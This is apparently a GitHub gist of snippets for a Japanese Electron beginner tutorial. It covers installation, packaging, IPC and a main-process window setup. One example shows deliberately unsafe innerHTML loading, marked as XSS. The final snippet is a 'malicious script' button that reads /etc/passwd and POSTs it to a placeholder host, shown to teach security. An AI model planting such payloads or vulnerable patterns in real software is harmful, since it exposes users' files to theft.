Last active
November 22, 2019 10:57
-
-
Save umamichi/becbeb3a703a299bcd455d339bbba609 to your computer and use it in GitHub Desktop.
ようこそ!Electron入門 ref: https://qiita.com/umamichi/items/6ce4f46c1458e89c4cfc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ npm i electron -g | |
$ electron |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mainWindow = new BrowserWindow({width: 800, height: 600, | |
webPreferences: { nodeIntegration : false } | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ npm i hoge --save |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Microsoft Visual Studio Express 2013 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ brew install Caskroom/cask/xquartz | |
$ brew install wine |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ electron main.js |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ npm i electron-packager -g |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ electron-packager {ソースディレクトリ} {アプリ名} --platform={プラットフォーム} --arch={アーキテクチャ} --version (バージョン} [その他のオプション ...] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ electron-packager . electron-sample --platform=darwin --arch=x64 --version=1.2.5 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
・Flash Playerの同梱 | |
・Chrome PDF Viewerの統合 | |
・Googleの名称とそのブランドロゴ | |
・自動アップデート機能 | |
・Googleへの利用状況やクラッシュレポート送信機能 | |
・Googleの翻訳機能 | |
・複数メディアファイル対応(H.264、AAC、MP3など) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// メインプロセス(受信側) | |
const {ipcMain} = require('electron') // ipc通信を読み込む | |
ipcMain.on('message', (event, arg) => { // イベントバインディング | |
console.log(arg) // prints "ping" | |
}) | |
// レンダラプロセス(送信側) | |
const {ipcRenderer} = require('electron') // ipc通信を読み込む | |
ipcRenderer.sendSync('message', 'ping'); // 'message'というイベントを実行 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="UTF-8"> | |
<title>Hello World!</title> | |
<script> | |
const fs = require('fs'); | |
// sample.html をfs(OSが持っているファイル操作機能)で読み込む | |
fs.readFile ('sample.html', (err, data) => { | |
if (!err) { | |
document.getElementById('app').innerHTML = data; // XSS!! | |
} | |
}); | |
</script> | |
</head> | |
<body> | |
<div id="app">app div</a> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const electron = require('electron'); | |
const app = electron.app; | |
const BrowserWindow = electron.BrowserWindow; | |
let mainWindow = null; | |
app.on('ready', () => { | |
// mainWindowを作成(windowの大きさや、Kioskモードにするかどうかなどもここで定義できる) | |
mainWindow = new BrowserWindow({width: 400, height: 300}); | |
// Electronに表示するhtmlを絶対パスで指定(相対パスだと動かない) | |
mainWindow.loadURL('file://' + __dirname + '/index.html'); | |
// ChromiumのDevツールを開く | |
mainWindow.webContents.openDevTools(); | |
mainWindow.on('closed', function() { | |
mainWindow = null; | |
}); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
hello! This is sample.html<br> | |
<!-- 悪意あるスクリプト --> | |
<button onClick="var s = require('fs').readFileSync( '/etc/passwd','utf-8' ); | |
var x = new XMLHttpRequest();console.log(s); | |
x.open('POST', 'http://example.jp/', true ); | |
x.send( s );">push me</button> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment